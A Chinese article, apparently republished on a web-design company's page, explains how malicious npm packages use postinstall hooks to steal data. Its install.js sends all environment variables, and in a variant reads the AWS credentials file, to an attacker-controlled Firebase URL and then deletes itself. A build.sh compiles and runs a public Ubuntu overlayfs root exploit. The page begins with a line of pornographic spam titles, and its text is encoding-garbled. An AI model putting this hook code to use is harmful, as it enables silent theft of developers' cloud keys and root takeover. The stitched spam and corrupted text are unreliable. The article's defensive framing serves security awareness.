日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關咨詢
選擇下列產(chǎn)品馬上在線溝通
服務時間:8:30-17:00
你可能遇到了下面的問題
關閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
濫用npm庫導致數(shù)據(jù)暗渡

前言

10年積累的網(wǎng)站建設、網(wǎng)站制作經(jīng)驗,可以快速應對客戶對網(wǎng)站的新想法和需求。提供各種問題對應的解決方案。讓選擇我們的客戶得到更好、更有力的網(wǎng)絡服務。我雖然不認識你,你也不認識我。但先做網(wǎng)站設計后付款的網(wǎng)站建設流程,更有東光免費網(wǎng)站建設讓你可以放心的選擇與我們合作。

我們知道,像npm這樣的程序包和依賴庫管理器通常都允許命令執(zhí)行作為構(gòu)建過程的一部分。命令執(zhí)行為開發(fā)人員帶來了一個簡單方便的機制,使得他們可以通過編寫腳本來完成構(gòu)建過程中的各種任務。例如,npm允許開發(fā)人員使用pre-install hook和post-install hook來執(zhí)行各種任務。在開始構(gòu)建之前,可以使用pre-install hook來編譯所需的本地庫。post-install hook可以用于構(gòu)建完成之后的清理工作。

在這篇博文中,我們將介紹攻擊者是如何利用npm從開發(fā)人員的機器中泄露情報的。雖然本文展示的攻擊場景是針對npm來說明的,但類似的攻擊也可以通過其他軟件包管理器來完成,比如gradle。

漏洞攻擊

為了證明數(shù)據(jù)滲漏的可行性,我們講介紹三種不同的情形。對于每種情形,攻擊者只需要取得已經(jīng)發(fā)布的npm包,然后設法讓開發(fā)人員使用npm install命令來安裝它就行了。

我們首先創(chuàng)建一個npm包,并使用package.json文件中的post-install hook來指定一個需要執(zhí)行的任務。該任務可以是shell腳本,甚至可以是另一個JavaScript程序。例如,如果我們希望在npm install命令之后運行一個shell腳本build.sh,我們可以執(zhí)行以下操作:

 
 
 
 
  1.   "name": "a-legit-package", 
  2.   "version": "0.2.0", 
  3.   "description": "This package runs a script after installation", 
  4.   "main": "app.js", 
  5.   "scripts": { 
  6.     "postinstall": "sh build.sh" 
  7.   }, 
  8. ... 

如果我們想要運行一個JavaScript任務,假設該任務位于名為install.js的文件中,那么我們還可以將其添加到package.json并使用Node來運行它,具體如下所示:

 
 
 
 
  1.   "name": "a-legit-package", 
  2.   "version": "0.2.0", 
  3.   "description": "This package runs a script after installation", 
  4.   "main": "app.js", 
  5.   "scripts": { 
  6.     "postinstall": "node install.js" 
  7.   }, 
  8. ... 

泄露環(huán)境變量

一旦我們獲得了在構(gòu)建過程中代表用戶執(zhí)行任務的能力,那么就可以利用它來泄露敏感信息,例如環(huán)境變量。例如,為了配置AWS CLI,需要設置以下環(huán)境變量:

 
 
 
 
  1. $ export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE 
  2. $ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY 
  3. $ export AWS_DEFAULT_REGION=us-west-2 

如果這些環(huán)境變量在開發(fā)人員構(gòu)建node.js項目時已經(jīng)存在,那么它們可能會被上傳到受攻擊者控制的位置。為了避免引起懷疑,不要將信息轉(zhuǎn)儲到一些容易引起懷疑的IP地址或潛在的可疑域,相反,我們可以使用流行后端作為服務來存放這些信息,例如Firebase。將下面顯示的JavaScript代碼段放入install.js文件中,在構(gòu)建之后就會運行。這樣的話,它會將所有環(huán)境變量復制到Firebase數(shù)據(jù)庫。在退出進程之前,clean()方法會從系統(tǒng)中刪除原始的install.js文件。這樣做的好處是,能夠確保在開發(fā)人員的機器上完成構(gòu)建之后,不會留下任何的痕跡。

 
 
 
 
  1. var fs = require('fs'); 
  2. var Firebase = require("firebase"); 
  3. var ref = new Firebase("https://abcde-fg-1234.firebaseio.com/"); 
  4. var dbRef = ref.child("env_vars"); 
  5.    
  6. dbRef.push({status : "leaked env vars", message : process.env}, clean()); 
  7.    
  8. function clean(){ 
  9.   try{ 
  10.     fs.unlinkSync("install.js"); 
  11.   } 
  12.   catch (ex){} 
  13.   process.exit(0); 

攻擊者可以監(jiān)控Firebase數(shù)據(jù)庫(https://abcde-fg-1234.firebaseio.com/),并通過捕獲的環(huán)境變量來查找包含AWS密鑰的變量:

泄漏敏感文件

如果AWS密鑰未存儲在環(huán)境變量中,攻擊者仍然可能通過其他方式來泄漏敏感信息。舉例來說,AWS配置指南建議使用?/ .aws / credentials文件來管理多個命名的配置文件。而這些命名的配置文件可能會存儲有多個AWS訪問密鑰。

 
 
 
 
  1.    
  2. [default] 
  3. aws_access_key_id=AKIAIOSFODNN7EXAMPLE 
  4. aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY 
  5.    
  6. [user2] 
  7. aws_access_key_id=AKIAI44QH8DHBEXAMPLE 
  8. aws_secret_access_key=je7MtGbClwBF/2Zp9Utk/h3yCo8nvbEXAMPLEKEY 

由于構(gòu)建post-install任務時是以用戶的相應權限來運行的,因此可以將文件的內(nèi)容復制到攻擊者控制之下的位置。我們可以將install.js修改為下面這樣,從而捕獲憑證文件中的敏感信息:

 
 
 
 
  1. var fs = require('fs'); 
  2. var Firebase = require("firebase"); 
  3. var ref = new Firebase("https://abcde-fg-1234.firebaseio.com/"); 
  4. var dbRef = ref.child("env_vars"); 
  5.    
  6. var filepath = process.env.HOME+'/.aws/credentials'; 
  7. var data = fs.readFileSync(filepath,'utf8'); 
  8. dbRef.push({status : "leaked sensitive files", message : process.env}, clean()); 
  9.    
  10. function clean(){ 
  11.   try{ 
  12.     fs.unlinkSync("install.js"); 
  13.   } 
  14.   catch (ex){} 
  15.   process.exit(0); 

如果開發(fā)人員的機器上存在?/ .aws / credentials文件的話,則很可能會包含多個AWS密鑰。與前面的環(huán)境變量泄露漏洞相比,這種攻擊可能會導致更加敏感的信息泄漏問題。

本地權限提升

npm包還可以執(zhí)行針對底層系統(tǒng)的提權漏洞利用代碼。最近在ubuntu系統(tǒng)中發(fā)現(xiàn)的的一個漏洞(CVE-2015-1328),允許本地攻擊者利用overlayfs組件的缺陷獲取root。據(jù)報道稱:

“當在上層文件系統(tǒng)目錄中創(chuàng)建新文件時,overlayfs文件系統(tǒng)未能正確檢查此文件的權限。而這一缺陷則可以被內(nèi)核中沒有權限的進程所利用,只要滿足該進程CONFIG_USER_NS=y及overlayfs所擁有得FS_USERNS_MOUNT標志,即允許掛載非特權掛載空間的overlayfs。而這一條件是Ubuntu 12.04、14.04、14.10和15.04版本中的默認配置,所以這些版本的Ubuntu系統(tǒng)都受此漏洞影響。

ovl_copy_up_ *函數(shù)未能正確檢查用戶是否有權限向upperdir目錄寫入文件。而該函數(shù)唯一檢查的是被修改文件的擁有者是否擁有向upperdir目錄寫入文件的權限。此外,當從lowerdir目錄復制一個文件時,同時也就復制了文件元數(shù)據(jù),而并非文件屬性,例如文件擁有者被修改為了觸發(fā)copy_up_*程序的用戶。”

目前,該漏洞的利用代碼已經(jīng)被公開。該漏洞利用代碼(ofs.c)能夠在目標機器上打開一個具有管理員權限的shell。攻擊者一旦獲得這個shell,就可以用它在系統(tǒng)中安裝永久性的后門。

我們知道,借助于npm中的post-install hook,像構(gòu)建和運行這種漏洞利用代碼這樣的事情,簡直是小菜一碟。攻擊者可以創(chuàng)建一個含有以下內(nèi)容的build.sh文件,并將其作為post-install任務來運行。

 
 
 
 
  1. OS=`uname -s` 
  2. if [ "$OS" = "Linux" ] 
  3. then 
  4.   gcc ofs.c 
  5.   ./a.out 
  6. else 
  7.        ... 
  8. fi 

安全影響

目前,所有流行的構(gòu)建和包管理器(gradle,maven,npm等)幾乎都允許執(zhí)行系統(tǒng)命令,因此,它們都會收到本文描述的安全漏洞的影響。就npm來說,最近發(fā)生了一次攻擊,攻擊者成功上傳了一個惡意軟件包,當它作為node.js項目中的依賴庫添加時,會刪除開發(fā)人員的主目錄。盡管之前就有人提醒npm模塊的這種安全問題,但遺憾是的,目前似乎還沒有簡單的方法來防止這種攻擊。

像從用戶的主目錄中刪除文件這樣的直接攻擊是很容易檢測到的,通常也會引起人們的注意。然而,如果惡意行為更加隱蔽,例如本文介紹的靜默竊取信息或安裝后門這樣的攻擊,則可能更難以檢測和跟蹤。在npm上發(fā)布包是非常容易的事情,它只需要一個電子郵件驗證即可。隨著開發(fā)人員數(shù)量的增加,以及越來越常見的安裝臨時包的行為,這種安全漏洞帶來的風險只會與日俱增。

安全對策

Build Inspector是一個用于連續(xù)集成環(huán)境的開源取證沙盒,您可以使用它來檢查CI環(huán)境。這個工具能夠監(jiān)控網(wǎng)絡活動,文件系統(tǒng)更改和運行的進程,從而更容易發(fā)現(xiàn)意外和潛在危險的活動。使用這個沙盒環(huán)境時,構(gòu)建操作將在隔離的情況下進行,從而不會影響機器。運行Build Inspector時,您將獲得構(gòu)建服務器上所有潛在危險活動的報告,您可以借此發(fā)現(xiàn)上面提到的安全隱患,從而進一步做出相應的處理。


當前文章:濫用npm庫導致數(shù)據(jù)暗渡
網(wǎng)站網(wǎng)址:http://www.5511xx.com/article/cdiccpi.html